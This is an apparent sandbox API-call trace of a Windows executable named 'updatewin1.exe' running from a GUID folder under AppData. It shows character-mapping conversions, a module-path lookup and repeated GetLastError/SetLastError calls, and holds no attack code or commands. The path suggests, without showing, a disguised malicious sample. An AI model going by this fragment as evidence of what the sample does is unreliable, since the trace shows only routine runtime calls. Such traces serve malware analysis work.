LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.082] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x48\x37\x92\xa8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ") returned 256 [0052.082] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.082] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0052.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x48\x37\x92\xa8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.082] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe")) returned 0x5f [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.082] GetLastError () returned 0x0 [0052.082] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.083] SetLastError (dwErrCode=0x0) [0052.083] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.084] SetLastError (dwErrCode=0x0) [0052.084] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.085] SetLastError (dwErrCode=0x0) [0052.085] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.086] GetLastError () returned 0x0 [0052.086] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.087] SetLastError (dwErrCode=0x0) [0052.087] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.088] SetLastError (dwErrCode=0x0) [0052.088] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.089] SetLastError (dwErrCode=0x0) [0052.089] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x74) returned 0x2b1990 [0052.090] GetLastError () returned 0x0 [0052.090] SetLastError (dwErrCode=0x0) [0052.090] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.091] SetLastError (dwErrCode=0x0) [0052.091] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.092] SetLastError (dwErrCode=0x0) [0052.092] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 